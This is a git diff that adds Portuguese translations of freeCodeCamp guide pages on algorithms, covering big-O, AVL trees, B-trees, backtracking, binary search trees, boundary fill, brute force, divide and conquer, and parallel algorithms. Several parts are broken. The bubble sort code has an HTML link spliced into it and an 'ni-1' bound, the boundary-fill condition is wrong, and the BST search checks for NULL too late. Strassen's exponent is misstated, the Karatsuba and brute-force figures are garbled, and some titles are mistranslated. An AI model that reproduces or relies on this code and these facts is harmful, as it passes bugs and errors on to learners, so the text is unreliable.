+    > O (g (n)) = {f (n): existem constantes positivas c e n0 tais que 0 <= f (n) <= cg (n) para todo n> = n0}
+    
+3.  **Ω Notação** : Ω notação fornece um limite inferior ao algoritmo. mostra a resposta mais rápida possível para esse algoritmo. > Ω (g (n)) = {f (n): existem constantes positivas c e n0 tais que 0 <= cg (n) <= f (n) para todo n> = n0}.
+    
+
+## Exemplos
+
+Como exemplo, podemos examinar a complexidade temporal do algoritmo [\[bubble sort\]](https://github.com/FreeCodeCamp/wiki/blob/master/Algorithms-Bubble-Sort.md#algorithm-bubble-sort) e expressá-lo usando a notação big-O.
+
+#### Tipo de bolha:
+
+```javascript
+    // Function to implement bubble sort 
+    void bubble_sort(int array<a href='http://bigocheatsheet.com/' target='_blank' rel='nofollow'>], int n) 
+    { 
+        // Here n is the number of elements in array 
+        int temp; 
+        for(int i = 0; i < n-1; i++) 
+        { 
+            // Last i elements are already in place 
+            for(int j = 0; j < ni-1; j++) 
+            { 
+                if (array[j] > array[j+1]) 
+                { 
+                    // swap elements at index j and j+1 
+                    temp = array[j]; 
+                    array[j] = array[j+1]; 
+                    array[j+1] = temp; 
+                } 
+            } 
+        } 
+    } 
+```
+
+Observando esse código, podemos ver que, no melhor cenário em que a matriz já está classificada, o programa fará apenas _n_ comparações, pois não ocorrerão swaps.  
+Portanto, podemos dizer que a melhor complexidade de tempo do tipo bubble type é O ( _n_ ).
+
+Examinando o pior cenário em que o array está em ordem reversa, a primeira iteração fará _n_ comparações, enquanto o próximo terá que fazer comparações _n_ - 1 e assim por diante, até que apenas uma comparação seja feita.  
+A notação big-O para este caso é, portanto, _n_ \* \[( _n_ - 1) / 2\] que = 0.5 _n_ ^ 2 - 0.5 _n_ = O ( _n_ ^ 2) como o termo _n_ ^ 2 domina a função que nos permite ignore o outro termo na função.
+
+Podemos confirmar esta análise usando \[esta útil folha de fraude big-O que apresenta a grande complexidade de tempo de muitas estruturas e algoritmos de dados comumente usados
+
+É muito aparente que, enquanto para casos de uso pequenos, essa complexidade de tempo pode ser boa, em uma bolha de grande escala, simplesmente não é uma boa solução para classificação.  
+Esse é o poder da notação big-O: ela permite que os desenvolvedores vejam facilmente os gargalos potenciais de seus aplicativos e tomem medidas para torná-los mais escalonáveis.
+
+Para mais informações sobre porque a notação big-O e a análise de algoritmos são importantes, visite este [desafio de vídeo](https://www.freecodecamp.com/videos/big-o-notation-what-it-is-and-why-you-should-care) !
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/avl-trees/index.md b/client/src/guide/portuguese/algorithms/avl-trees/index.md
new file mode 100644
index 0000000000..b70167c252
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/avl-trees/index.md
@@ -0,0 +1,52 @@
+---
+title: AVL Trees
+localeTitle: AVL Trees
+---
+## AVL Trees
+
+Uma árvore AVL é um subtipo da árvore de pesquisa binária.
+
+Um BST é uma estrutura de dados composta por nós. Tem as seguintes garantias:
+
+1.  Cada árvore tem um nó raiz (no topo).
+2.  O nó raiz tem zero ou mais nós filhos.
+3.  Cada nó filho tem zero ou mais nós filhos e assim por diante.
+4.  Cada nó tem até dois filhos.
+5.  Para cada nó, seus descendentes à esquerda são menores que o nó atual, que é menor que os descendentes certos.
+
+As árvores AVL têm uma garantia adicional:
+
+6.  A diferença entre a profundidade das subárvores direita e esquerda não pode ser maior que um. Para manter essa garantia, uma implementação de um AVL incluirá um algoritmo para reequilibrar a árvore ao adicionar um elemento adicional que viraria essa garantia.
+
+As árvores AVL têm uma pior consulta, inserção e exclusão de tempo de O (log n).
+
+### Rotação Direita
+
+![Rotação Direita da Árvore AVL](https://raw.githubusercontent.com/HebleV/valet_parking/master/images/avl_right_rotation.jpg)
+
+### Rotação Esquerda
+
+![Rotação esquerda da árvore AVL](https://raw.githubusercontent.com/HebleV/valet_parking/master/images/avl_left_rotation.jpg)
+
+### Processo de Inserção AVL
+
+Você fará uma inserção semelhante a uma inserção normal da Árvore de pesquisa binária. Após a inserção, você corrige a propriedade AVL usando as rotações esquerda ou direita.
+
+*   Se houver um desequilíbrio no filho esquerdo da subárvore direita, você executará uma rotação esquerda-direita.
+*   Se houver um desequilíbrio no filho esquerdo da subárvore esquerda, execute uma rotação à direita.
+*   Se houver um desequilíbrio no filho direito da subárvore direita, execute uma rotação à esquerda.
+*   Se houver um desequilíbrio no filho direito da subárvore esquerda, execute uma rotação direita-esquerda.
+
+#### Mais Informações:
+
+[YouTube - Árvore do AVL](https://www.youtube.com/watch?v=7m94k2Qhg68)
+
+Uma árvore AVL é uma árvore de pesquisa binária de balanceamento automático. Uma árvore AVL é uma árvore de pesquisa binária que possui as seguintes propriedades: -> As sub-árvores de cada nó diferem em altura em no máximo um. -> Cada sub-árvore é uma árvore AVL.
+
+A árvore AVL verifica a altura das subárvores esquerda e direita e garante que a diferença não seja maior que 1. Essa diferença é chamada de fator de equilíbrio. A altura de uma árvore AVL é sempre O (Logn), onde n é o número de nós na árvore.
+
+Rotações AVL Tree: -
+
+Na árvore AVL, depois de realizar todas as operações, como inserção e exclusão, precisamos verificar o fator de equilíbrio de cada nó na árvore. Se cada nó satisfizer a condição do fator de balanceamento, concluímos a operação, caso contrário, devemos torná-lo balanceado. Usamos operações de rotação para equilibrar a árvore sempre que a árvore estiver se desequilibrando devido a qualquer operação.
+
+As operações de rotação são usadas para equilibrar uma árvore. Há quatro rotações e elas são classificadas em dois tipos: -> Rotação única esquerda (rotação LL) Em LL Rotation, cada nó move uma posição para a esquerda da posição atual. -> Rotação Única Direita (Rotação RR) Na Rotação RR, cada nó move uma posição para a direita a partir da posição atual. -> Rotação Esquerda Direita (Rotação LR) A rotação LR é uma combinação de rotação única esquerda seguida de rotação única direita. Na rotação LR, primeiro cada nó move uma posição para a esquerda e depois uma posição para a direita a partir da posição atual. -> Rotação Esquerda Direita (Rotação RL) A Rotação RL é uma combinação de rotação única direita seguida de rotação única esquerda. Na Rotação RL, primeiro cada nó move uma posição para a direita e depois uma posição para a esquerda a partir da posição atual.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/b-trees/index.md b/client/src/guide/portuguese/algorithms/b-trees/index.md
new file mode 100644
index 0000000000..0aa27bde32
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/b-trees/index.md
@@ -0,0 +1,15 @@
+---
+title: B Trees
+localeTitle: Árvores B
+---
+## Árvores B
+
+# Introdução
+
+B-Tree é uma árvore de pesquisa de auto-equilíbrio. Na maioria das outras árvores de pesquisa de autoequilíbrio (como AVL e Red Black Trees), supõe-se que tudo esteja na memória principal. Para entender o uso de B-Trees, devemos pensar em uma enorme quantidade de dados que não podem caber na memória principal. Quando o número de chaves é alto, os dados são lidos do disco na forma de blocos. O tempo de acesso ao disco é muito alto comparado ao tempo de acesso da memória principal. A ideia principal de usar o B-Trees é reduzir o número de acessos ao disco. A maioria das operações em árvore (pesquisa, inserção, exclusão, max, min, etc.) requerem acessos ao disco O (h) onde h é a altura da árvore. B-tree é uma árvore gorda. A altura de B-Trees é mantida baixa colocando o máximo possível de chaves em um nó B-Tree. Geralmente, um tamanho de nó B-Tree é mantido igual ao tamanho do bloco de disco. Como h é baixo para o B-Tree, o total de acessos ao disco na maioria das operações é reduzido significativamente em comparação com as árvores balanceadas de pesquisa, como AVL Tree, Red Black Tree, etc.etc.
+
+Propriedades da B-Tree: 1) Todas as folhas estão no mesmo nível. 2) Uma Árvore B é definida pelo termo grau mínimo 't'. O valor de t depende do tamanho do bloco de disco. 3) Cada nó, exceto o root, deve conter pelo menos chaves t-1. Raiz pode conter no mínimo 1 chave. 4) Todos os nós (incluindo raiz) podem conter no máximo 2t - 1 chaves. 5) Número de filhos de um nó é igual ao número de chaves nele mais 1. 6) Todas as chaves de um nó são classificadas em ordem crescente. O filho entre duas chaves k1 e k2 contém todas as chaves no intervalo de k1 e k2. 7) B-Tree cresce e encolhe a partir da raiz que é diferente da árvore de busca binária. Pesquisa Binária As árvores crescem para baixo e também encolhem para baixo. 8) Como outras árvores balanceadas de busca, a complexidade de tempo para pesquisar, inserir e deletar é O (Logn).
+
+Pesquisa: A pesquisa é semelhante à pesquisa na Árvore de pesquisa binária. Deixe a chave a ser pesquisada ser k. Começamos da raiz e percorremos recursivamente. Para cada nó não-folha visitado, se o nó tiver chave, simplesmente retornaremos o nó. Caso contrário, recorremos ao filho apropriado (o filho que está logo antes da primeira chave maior) do nó. Se chegarmos a um nó da folha e não encontrarmos k no nó da folha, retornamos NULL.
+
+Atravessar: Traversal também é semelhante a Inorder traversal da Binary Tree. Começamos do filho mais à esquerda, imprimimos recursivamente o filho mais à esquerda e repetimos o mesmo processo para os filhos e chaves restantes. No final, recursivamente imprimir o filho mais à direita.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/backtracking-algorithms/index.md b/client/src/guide/portuguese/algorithms/backtracking-algorithms/index.md
new file mode 100644
index 0000000000..a3decc2a96
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/backtracking-algorithms/index.md
@@ -0,0 +1,53 @@
+---
+title: Backtracking Algorithms
+localeTitle: Algoritmos de Retrocesso
+---
+# Algoritmos de Retrocesso
+
+Backtracking é um algoritmo geral para encontrar todas (ou algumas) soluções para alguns problemas computacionais, notavelmente problemas de satisfação de restrições, que constroem candidatos para as soluções e abandona cada candidato parcial _("backtracks")_ assim que determina que o candidato não pode possivelmente ser completado para uma solução válida.
+
+### Exemplo de problema (problema do passeio do cavaleiro)
+
+_O cavaleiro é colocado no primeiro bloco de um tabuleiro vazio e, movendo-se de acordo com as regras do xadrez, deve visitar cada quadrado exatamente uma vez._
+
+\### Caminho seguido por Knight para cobrir todas as células A seguir está o tabuleiro de xadrez com 8 x 8 células. Os números nas células indicam o número de movimento do Knight. [![A solução do passeio do cavaleiro - por Euler](https://upload.wikimedia.org/wikipedia/commons/d/df/Knights_tour_%28Euler%29.png)](https://commons.wikimedia.org/wiki/File:Knights_tour_(Euler).png)
+
+### Algoritmo Naive para a turnê de Knight
+
+O Naive Algorithm é para gerar todos os tours um por um e verificar se o tour gerado satisfaz as restrições.
+```
+while there are untried tours 
+ { 
+   generate the next tour 
+   if this tour covers all squares 
+   { 
+      print this path; 
+   } 
+ } 
+```
+
+### Algoritmo de Backtracking para o tour de Knight
+
+A seguir está o algoritmo Backtracking para o problema do passeio de Knight.
+```
+If all squares are visited 
+    print the solution 
+ Else 
+   a) Add one of the next moves to solution vector and recursively 
+   check if this move leads to a solution. (A Knight can make maximum 
+   eight moves. We choose one of the 8 moves in this step). 
+   b) If the move chosen in the above step doesn't lead to a solution 
+   then remove this move from the solution vector and try other 
+   alternative moves. 
+   c) If none of the alternatives work then return false (Returning false 
+   will remove the previously added item in recursion and if false is 
+   returned by the initial call of recursion then "no solution exists" ) 
+```
+
+### Mais Informações
+
+[Wikipedia](https://en.wikipedia.org/wiki/Backtracking)
+
+[Geeks 4 Geeks](http://www.geeksforgeeks.org/backtracking-set-1-the-knights-tour-problem/)
+
+[Uma introdução muito interessante para o retrocesso](https://www.hackerearth.com/practice/basic-programming/recursion/recursion-and-backtracking/tutorial/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/binary-search-trees/index.md b/client/src/guide/portuguese/algorithms/binary-search-trees/index.md
new file mode 100644
index 0000000000..ea1703d0b2
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/binary-search-trees/index.md
@@ -0,0 +1,269 @@
+---
+title: Binary Search Trees
+localeTitle: Árvores de busca binária
+---
+## Árvores de busca binária
+
+![Árvore de busca binária](https://cdn-images-1.medium.com/max/1320/0*x5o1G1UpM1RfLpyx.png)
+
+Uma árvore é uma estrutura de dados composta de nós que possui as seguintes características:
+
+1.  Cada árvore tem um nó raiz (no topo) tendo algum valor.
+2.  O nó raiz tem zero ou mais nós filhos.
+3.  Cada nó filho possui zero ou mais nós filhos e assim por diante. Isso cria uma subárvore na árvore. Cada nó tem sua própria subárvore, composta de seus filhos e filhos, etc. Isso significa que cada nó sozinho pode ser uma árvore.
+
+Uma árvore de pesquisa binária (BST) adiciona essas duas características:
+
+1.  Cada nó tem um máximo de até dois filhos.
+2.  Para cada nó, os valores de seus nós descendentes à esquerda são menores que os do nó atual, que por sua vez é menor que os nós descendentes à direita (se houver).
+
+O BST é construído com base na idéia do algoritmo de [busca binária](https://guide.freecodecamp.org/algorithms/search-algorithms/binary-search) , que permite a rápida pesquisa, inserção e remoção de nós. A maneira como eles são configurados significa que, em média, cada comparação permite que as operações pule cerca de metade da árvore, de modo que cada pesquisa, inserção ou exclusão leve o tempo proporcional ao logaritmo do número de itens armazenados na árvore, `O(log n)` No entanto, algumas vezes o pior caso pode acontecer, quando a árvore não está balanceada e a complexidade do tempo é `O(n)` para todas as três dessas funções. É por isso que as árvores de auto-equilíbrio (AVL, vermelho-preto, etc.) são muito mais eficazes do que o BST básico.
+
+**Exemplo de cenário de pior caso:** Isso pode acontecer quando você continua adicionando nós que são _sempre_ maiores que o nó antes (é pai), o mesmo pode acontecer quando você sempre adiciona nós com valores menores que seus pais.
+
+### Operações básicas em um BST
+
+*   Criar: cria uma árvore vazia.
+*   Inserir: insira um nó na árvore.
+*   Pesquisar: procura um nó na árvore.
+*   Apagar: apaga um nó da árvore.
+
+#### Crio
+
+Inicialmente, uma árvore vazia sem nós é criada. A variável / identificador que deve apontar para o nó raiz é inicializado com um valor `NULL` .
+
+#### Pesquisa
+
+Você sempre começa a pesquisar na árvore no nó raiz e desce a partir daí. Você compara os dados em cada nó com o que você está procurando. Se o nó comparado não corresponder, então você vai para o filho direito ou para o filho esquerdo, o que depende do resultado da comparação a seguir: Se o nó que você está procurando for menor do que aquele com o qual você estava comparando, você prossegue para a criança esquerda, caso contrário (se for maior) você vai para a criança certa. Por quê? Como o BST é estruturado (conforme sua definição), o filho certo é sempre maior que o pai e o filho esquerdo é sempre menor.
+
+#### Inserir
+
+É muito semelhante à função de pesquisa. Você começa novamente na raiz da árvore e desce recursivamente, procurando o lugar certo para inserir nosso novo nó, da mesma forma como explicado na função de busca. Se um nó com o mesmo valor já estiver na árvore, você poderá optar por inserir a duplicata ou não. Algumas árvores permitem duplicatas, outras não. Depende da implementação certa.
+
+#### Eliminação
+
+Existem 3 casos que podem acontecer quando você está tentando excluir um nó. Se tiver,
+
+1.  Nenhuma subárvore (sem filhos): Esta é a mais fácil. Você pode simplesmente excluir o nó, sem precisar de ações adicionais.
+2.  Uma subárvore (um filho): você precisa garantir que depois que o nó for excluído, seu filho será conectado ao pai do nó excluído.
+3.  Duas subárvores (dois filhos): você precisa localizar e substituir o nó que deseja excluir com seu sucessor (o nó letfmost na subárvore direita).
+
+A complexidade de tempo para criar uma árvore é `O(1)` . A complexidade de tempo para procurar, inserir ou excluir um nó depende da altura da árvore `h` , então o pior caso é `O(h)` .
+
+#### Antecessor de um nó
+
+Os predecessores podem ser descritos como o nó que viria logo antes do nó em que você está atualmente. Para localizar o predecessor do nó atual, observe o maior / maior nó de folha na subárvore esquerda.
+
+#### Sucessor de um nó
+
+Os sucessores podem ser descritos como o nó que viria logo após o nó em que você está atualmente. Para encontrar o sucessor do nó atual, observe o nó da folha mais à esquerda / menor na subárvore direita.
+
+### Tipos especiais de BT
+
+*   Pilha
+*   Árvore vermelho-preto
+*   B-tree
+*   Árvore Splay
+*   Árvore N-ary
+*   Trie (árvore Radix)
+
+### Tempo de execução
+
+**Estrutura de dados: Array**
+
+*   Desempenho de pior caso: `O(log n)`
+*   Melhor desempenho de caso: `O(1)`
+*   Desempenho médio: `O(log n)`
+*   Pobre complexidade do espaço: `O(1)`
+
+Onde `n` é o número de nós no BST.
+
+### Implementação do BST
+
+Aqui está uma definição para um nó BST com alguns dados, fazendo referência a seus nós filhos esquerdo e direito.
+
+```c
+struct node { 
+   int data; 
+   struct node *leftChild; 
+   struct node *rightChild; 
+ }; 
+```
+
+#### Operação de pesquisa
+
+Sempre que um elemento for pesquisado, inicie a pesquisa no nó raiz. Então, se os dados forem menores que o valor da chave, procure o elemento na subárvore esquerda. Caso contrário, procure o elemento na subárvore direita. Siga o mesmo algoritmo para cada nó.
+
+```c
+struct node* search(int data){ 
+   struct node *current = root; 
+   printf("Visiting elements: "); 
+ 
+   while(current->data != data){ 
+ 
+      if(current != NULL) { 
+         printf("%d ",current->data); 
+ 
+         //go to left tree 
+         if(current->data > data){ 
+            current = current->leftChild; 
+         }//else go to right tree 
+         else { 
+            current = current->rightChild; 
+         } 
+ 
+         //not found 
+         if(current == NULL){ 
+            return NULL; 
+         } 
+      } 
+   } 
+   return current; 
+ } 
+```
+
+#### Inserir operação
+
+Sempre que um elemento for inserido, primeiro localize seu local apropriado. Comece a pesquisar no nó raiz e, se os dados forem menores que o valor da chave, procure o local vazio na subárvore esquerda e insira os dados. Caso contrário, procure o local vazio na subárvore direita e insira os dados.
+
+```c
+void insert(int data) { 
+   struct node *tempNode = (struct node*) malloc(sizeof(struct node)); 
+   struct node *current; 
+   struct node *parent; 
+ 
+   tempNode->data = data; 
+   tempNode->leftChild = NULL; 
+   tempNode->rightChild = NULL; 
+ 
+   //if tree is empty 
+   if(root == NULL) { 
+      root = tempNode; 
+   } else { 
+      current = root; 
+      parent = NULL; 
+ 
+      while(1) { 
+         parent = current; 
+ 
+         //go to left of the tree 
+         if(data < parent->data) { 
+            current = current->leftChild; 
+            //insert to the left 
+ 
+            if(current == NULL) { 
+               parent->leftChild = tempNode; 
+               return; 
+            } 
+         }//go to right of the tree 
+         else { 
+            current = current->rightChild; 
+ 
+            //insert to the right 
+            if(current == NULL) { 
+               parent->rightChild = tempNode; 
+               return; 
+            } 
+         } 
+      } 
+   } 
+ } 
+```
+
+Árvores de busca binária (BSTs) também nos dão acesso rápido a antecessores e sucessores. Os predecessores podem ser descritos como o nó que viria logo antes do nó em que você está atualmente.
+
+*   Para localizar o predecessor do nó atual, observe o nó da folha mais à direita / maior na subárvore esquerda. Os sucessores podem ser descritos como o nó que viria logo após o nó em que você está atualmente.
+*   Para localizar o sucessor do nó atual, observe o nó da folha mais à esquerda / menor na subárvore direita.
+
+### Vamos dar uma olhada em alguns procedimentos operando em árvores.
+
+Como as árvores são definidas recursivamente, é muito comum escrever rotinas que operam em árvores que são elas próprias recursivas.
+
+Então, por exemplo, se quisermos calcular a altura de uma árvore, essa é a altura de um nó raiz, podemos ir em frente e recursivamente fazer isso, passando pela árvore. Então podemos dizer:
+
+*   Por exemplo, se tivermos uma árvore nula, sua altura será 0.
+*   Caso contrário, somos 1 mais o máximo da árvore de filhos à esquerda e a árvore de filhos certa.
+*   Então, se olharmos para uma folha, por exemplo, essa altura seria 1, porque a altura da criança esquerda é nula, é 0, e a altura da criança nula direita também é 0. Então, o máximo disso é 0, então 1 mais 0
+
+#### Algoritmo de altura (árvore)
+```
+if tree = nil: 
+    return 0 
+ return 1 + Max(Height(tree.left),Height(tree.right)) 
+```
+
+#### Aqui está o código em C ++
+```
+int maxDepth(struct node* node) 
+ { 
+    if (node==NULL) 
+        return 0; 
+   else 
+   { 
+       int rDepth = maxDepth(node->right); 
+       int lDepth = maxDepth(node->left); 
+ 
+       if (lDepth > rDepth) 
+       { 
+           return(lDepth+1); 
+       } 
+       else 
+       { 
+            return(rDepth+1); 
+       } 
+   } 
+ } 
+```
+
+Também poderíamos ver o cálculo do tamanho de uma árvore que é o número de nós.
+
+*   Novamente, se tivermos uma árvore nula, temos zero nós.
+*   Caso contrário, temos o número de nós no filho à esquerda mais 1 para nós mesmos mais o número de nós no filho certo. Então 1 mais o tamanho da árvore esquerda mais o tamanho da árvore certa.
+
+#### Algoritmo de tamanho (árvore)
+```
+if tree = nil 
+    return 0 
+ return 1 + Size(tree.left) + Size(tree.right) 
+```
+
+#### Aqui está o código em C ++
+```
+int treeSize(struct node* node) 
+ { 
+    if (node==NULL) 
+        return 0; 
+    else 
+        return 1+(treeSize(node->left) + treeSize(node->right)); 
+ } 
+```
+
+### Vídeos relevantes no canal do YouTube freeCodeCamp
+
+*   [Árvore de busca binária](https://youtu.be/5cU1ILGy6dM)
+*   [Árvore de busca binária: Traversal e Altura](https://youtu.be/Aagf3RyK3Lw)
+
+### A seguir estão os tipos comuns de árvores binárias:
+
+Árvore Binária Completa / Árvore Binária Restrita: Uma Árvore Binária é completa ou estrita se cada nó tiver exatamente 0 ou 2 filhos.
+```
+           18 
+       /       \ 
+     15         30 
+    /  \        /  \ 
+  40    50    100   40 
+```
+
+Na Árvore Binária Completa, o número de nós de folha é igual ao número de nós internos mais um.
+
+Árvore Binária Completa: Uma Árvore Binária é uma Árvore Binária completa se todos os níveis estiverem completamente preenchidos, exceto possivelmente o último nível e o último nível tiver todas as chaves o mais possível
+```
+           18 
+       /       \ 
+     15         30 
+    /  \        /  \ 
+  40    50    100   40 
+ /  \   / 
+ 8   7  9 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/boundary-fill/index.md b/client/src/guide/portuguese/algorithms/boundary-fill/index.md
new file mode 100644
index 0000000000..ca383dad0d
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/boundary-fill/index.md
@@ -0,0 +1,43 @@
+---
+title: Boundary Fill
+localeTitle: Preenchimento de limite
+---
+## Preenchimento de limite
+
+Preenchimento de limite é o algoritmo usado freqüentemente em computação gráfica para preencher uma cor desejada dentro de um polígono fechado com o mesmo limite cor para todos os seus lados.
+
+A implementação mais aproximada do algoritmo é uma função recursiva baseada em pilha.
+
+### Trabalhando:
+
+O problema é bastante simples e geralmente segue estas etapas:
+
+1.  Tome a posição do ponto de partida e da cor limítrofe.
+2.  Decida se deseja ir em 4 direções (N, S, W, E) ou 8 direções (N, S, W, E, NW, NE, SW, SE).
+3.  Escolha uma cor de preenchimento.
+4.  Viaje nessas direções.
+5.  Se o pixel que você colocar não for a cor de preenchimento ou a cor limite, substitua-o pela cor de preenchimento.
+6.  Repita 4 e 5 até que você esteja em todos os lugares dentro dos limites.
+
+### Certas Restrições:
+
+*   A cor limite deve ser a mesma para todas as arestas do polígono.
+*   O ponto de partida deve estar dentro do polígono.
+
+### Fragmento de código:
+```
+void boundary_fill(int pos_x, int pos_y, int boundary_color, int fill_color) 
+ { 
+   current_color= getpixel(pos_x,pos_y);  //get the color of the current pixel position 
+   if( current_color!= boundary_color || currrent_color != fill_color) // if pixel not already filled or part of the boundary then 
+   { 
+     putpixel(pos_x,pos_y,fill_color);  //change the color for this pixel to the desired fill_color 
+     boundary_fill(pos_x + 1, pos_y,boundary_color,fill_color);  // perform same function for the east pixel 
+     boundary_fill(pos_x - 1, pos_y,boundary_color,fill_color);  // perform same function for the west pixel 
+     boundary_fill(pos_x, pos_y + 1,boundary_color,fill_color);  // perform same function for the north pixel 
+     boundary_fill(pos_x, pos_y - 1,boundary_color,fill_color);  // perform same function for the south pixel 
+    } 
+ } 
+```
+
+A partir do código dado, você pode ver que para qualquer pixel que você pousar, você primeiro verifica se ele pode ser alterado para fill\_color e então você faz isso para seus vizinhos até que todos os pixels dentro do limite tenham sido verificados.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/brute-force-algorithms/index.md b/client/src/guide/portuguese/algorithms/brute-force-algorithms/index.md
new file mode 100644
index 0000000000..08d051b6e3
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/brute-force-algorithms/index.md
@@ -0,0 +1,17 @@
+---
+title: Brute Force Algorithms
+localeTitle: Algoritmos de Força Bruta
+---
+## Algoritmos de Força Bruta
+
+Algoritmos de força bruta referem-se a um estilo de programação que não inclui nenhum atalho para melhorar o desempenho, mas, em vez disso, depende da capacidade de computação para tentar todas as possibilidades até que a solução para um problema seja encontrada.
+
+Um exemplo clássico é o problema do vendedor ambulante (TSP). Suponha que um vendedor precise visitar 10 cidades em todo o país. Como se determina a ordem em que as cidades devem ser visitadas de forma que a distância total percorrida seja minimizada? A solução de força bruta é simplesmente calcular a distância total para cada rota possível e depois selecionar a mais curta. Isso não é particularmente eficiente porque é possível eliminar muitas rotas possíveis por meio de algoritmos inteligentes.
+
+Outro exemplo: uma senha de 5 dígitos, no pior dos casos, levaria 10 5 tentativas para quebrar.
+
+A complexidade temporal da força bruta é **O (n \* m)** . Então, se fôssemos procurar por uma sequência de caracteres 'n' em uma sequência de caracteres 'm' usando força bruta, isso nos levaria n \* m tentativas.
+
+#### Mais Informações:
+
+[Wikipedia](https://en.wikipedia.org/wiki/Brute-force_search)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/divide-and-conquer-algorithms/index.md b/client/src/guide/portuguese/algorithms/divide-and-conquer-algorithms/index.md
new file mode 100644
index 0000000000..13e235b6c6
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/divide-and-conquer-algorithms/index.md
@@ -0,0 +1,33 @@
+---
+title: Divide and Conquer Algorithms
+localeTitle: Dividir e Conquistar Algoritmos
+---
+## Dividir e Conquistar Algoritmos
+
+Divide and Conquer | (Introdução) Como Greedy e Dynamic Programming, Divide and Conquer é um paradigma algorítmico. Um algoritmo Divide and Conquer típico resolve um problema usando três etapas a seguir.
+
+1.  Divide: divide o problema em subproblemas do mesmo tipo.
+2.  Conquistar: Resolver recursivamente esses subproblemas
+3.  Combine: combine adequadamente as respostas
+
+A seguir estão alguns algoritmos padrão que são algoritmos de divisão e conquista.
+
+1) Pesquisa Binária é um algoritmo de busca. Em cada etapa, o algoritmo compara o elemento de entrada x com o valor do elemento do meio na matriz. Se os valores corresponderem, retorne o índice do meio. Caso contrário, se x for menor que o elemento do meio, o algoritmo se repetirá para o lado esquerdo do elemento do meio, caso contrário, ocorrerá novamente no lado direito do elemento do meio.
+
+2) Quicksort é um algoritmo de classificação. O algoritmo escolhe um elemento pivô, reorganiza os elementos da matriz de tal forma que todos os elementos menores que o elemento pivotante escolhido se movam para o lado esquerdo do pivô, e todos os elementos maiores se movam para o lado direito. Finalmente, o algoritmo classifica recursivamente as sub-matrizes à esquerda e à direita do elemento pivot.
+
+3) Merge Sort é também um algoritmo de ordenação. O algoritmo divide o array em duas metades, classifica-as recursivamente e finalmente mescla as duas metades classificadas.
+
+4) Par de Pontos Mais Próximo O problema é encontrar o par de pontos mais próximo em um conjunto de pontos no plano xy. O problema pode ser resolvido no tempo O (n ^ 2) calculando as distâncias de cada par de pontos e comparando as distâncias para encontrar o mínimo. O algoritmo Dividir e Conquistar resolve o problema no tempo O (nLogn).
+
+5) O Algoritmo de Strassen é um algoritmo eficiente para multiplicar duas matrizes. Um método simples para multiplicar duas matrizes precisa de 3 loops aninhados e é O (n ^ 3). O algoritmo de Strassen multiplica duas matrizes no tempo O (n ^ 2.8974).
+
+6) Cooley – Tukey O algoritmo Fast Fourier Transform (FFT) é o algoritmo mais comum para FFT. É um algoritmo de divisão e conquista que funciona no tempo O (nlogn).
+
+7) O algoritmo de Karatsuba foi o primeiro algoritmo de multiplicação assintoticamente mais rápido que o algoritmo de "escola primária" quadrática. Reduz a multiplicação de dois números de n dígitos para no máximo de n = 1.585 (que é a aproximação de log de 3 na base 2) produtos de dígito único. Portanto, é mais rápido que o algoritmo clássico, que requer n ^ 2 produtos de um dígito.
+
+### Dividir e Conquistar (D & C) vs Programação Dinâmica (DP)
+
+Ambos os paradigmas (D & C e DP) dividem o problema dado em subproblemas e resolvem subproblemas. Como escolher um deles para um determinado problema? Divide and Conquer deve ser usado quando os mesmos subproblemas não forem avaliados várias vezes. Caso contrário, a programação dinâmica ou a memorização devem ser usadas.
+
+Por exemplo, a Pesquisa Binária é um algoritmo de Dividir e Conquistar, nós nunca avaliamos os mesmos subproblemas novamente. Por outro lado, para calcular o número de Fibonacci, a programação dinâmica deve ser preferida.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/algorithms/embarassingly-parallel-algorithms/index.md b/client/src/guide/portuguese/algorithms/embarassingly-parallel-algorithms/index.md
new file mode 100644
index 0000000000..5d06b9e094
--- /dev/null
+++ b/client/src/guide/portuguese/algorithms/embarassingly-parallel-algorithms/index.md
@@ -0,0 +1,16 @@
+---
+title: Embarassingly Parallel Algorithms
+localeTitle: Algoritmos Paralisados ​​Abarassingly
+---
+## Algoritmos Paralisados ​​Abarassingly
+
+Na programação paralela, um algoritmo embaraçosamente paralelo é aquele que não requer comunicação ou dependência entre os processos. Ao contrário dos problemas de computação distribuída que precisam de comunicação entre as tarefas - especialmente em resultados intermediários, os algoritmos embaraçosamente paralelos são fáceis de executar em farms de servidores que não possuem a infraestrutura especial usada em um verdadeiro cluster de supercomputador. Devido à natureza de algoritmos embaraçosamente paralelos, eles são adequados para grandes plataformas distribuídas baseadas na Internet e não sofrem de lentidão paralela. O oposto de problemas embaraçosamente paralelos são inerentemente problemas seriais, que não podem ser paralelizados de forma alguma. O caso ideal de algoritmos embaraçosamente paralelos pode ser resumido da seguinte forma:
+
+*   Todos os subproblemas ou tarefas são definidos antes dos cálculos começarem.
+*   Todas as sub-soluções são armazenadas em locais de memória independentes (variáveis, elementos da matriz).
+*   Assim, o cálculo das sub-soluções é completamente independente.
+*   Se as computações requerem alguma comunicação inicial ou final, então a chamamos de quase constrangedoramente paralela.
+
+Muitos podem se perguntar a etimologia do termo “embaraçosamente”. Nesse caso, embaraçosamente não tem nada a ver com constrangimento; na verdade, isso significa uma superabundância - aqui referindo-se a problemas de paralelização que são “embaraçosamente fáceis”.
+
+Um exemplo comum de um problema embaraçosamente paralelo é a renderização de vídeo 3D tratada por uma unidade de processamento gráfico, em que cada quadro ou pixel pode ser manipulado sem interdependência. Alguns outros exemplos seriam softwares de dobragem de proteínas que podem ser executados em qualquer computador, com cada máquina executando um pequeno trabalho, geração de todos os subconjuntos, números aleatórios e simulações de Monte Carlo.
\ No newline at end of file
